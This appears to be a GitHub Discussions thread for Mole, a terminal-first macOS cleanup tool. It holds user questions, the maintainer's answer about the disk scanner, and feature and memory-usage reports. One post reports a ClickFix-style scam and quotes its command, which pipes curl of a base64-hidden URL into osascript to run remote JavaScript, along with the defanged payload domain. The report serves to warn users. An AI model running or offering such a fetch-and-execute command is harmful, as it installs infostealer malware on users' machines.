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[tw93]

Welcome to Mole Discussions

This is the place to ask questions, share ideas, and exchange tips about Mole.

Mole is a terminal-first macOS cleanup and optimization tool. Use Discussions for questions and ideas. For reproducible bugs, please open an issue.

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Please keep discussions constructive and include enough detail for others to understand the problem.

[Dheeraj-Murthy]

Hi, i have been trying out mole for the last few weeks, it's been great btw! Is there any way to use gdu for the disk analyzer for improving scanning speeds?

[tw93]

@Dheeraj-Murthy thanks for trying Mole. Analyze uses its own Go scanner because navigation, cancellation, caching, path protection, and safe deletion are integrated around it, so there is no configurable gdu backend.

You can use gdu separately when raw scan speed is the priority, while keeping mo analyze for Mole’s integrated review and cleanup flow.

[hasanonal-maker]

Hello,

I encountered a malicious command presented as a Kivo/Mole installation method. It appears to misuse the Kivo/Mole name to persuade macOS users to execute a remote JavaScript payload through osascript.

The command structure was:

echo "https://apps.apple.com/app/kivo-install" &&
curl -sf $(echo '' | base64 -d) |
osascript -l JavaScript

The Base64 value decoded to this URL (defanged):

hxxps://notification-portal[.]com/d0f99x/oFGe0AqwouM2

The displayed Apple App Store URL was only printed with echo; the command actually downloaded and immediately executed code from the unrelated domain above.

I did not enter my password when prompted. Initial checks did not find the currently published ClickFix persistence indicators, but this delivery pattern closely resembles macOS ClickFix infostealer campaigns.

I am reporting this so you can warn users and, if appropriate, publish the legitimate Kivo/Mole installation methods prominently.

Regards

[baojiachen0214]

我注意到很多时候Mole的后台内存占用不小（有时能到达250MB左右），经常和我打开3-4个safari页面的内存占用量不分上下，这不知道这不是正常的情况，所以我就先来这里评论了哈哈。我目前使用的是macOS27.0，硬件是M5Pro，使用的是Mole V1.15.0 Preview 260 这个版本：

[bingoxo]

Hi , can you please add disk usage (read/write) to the gui app and its taskbar ? thanks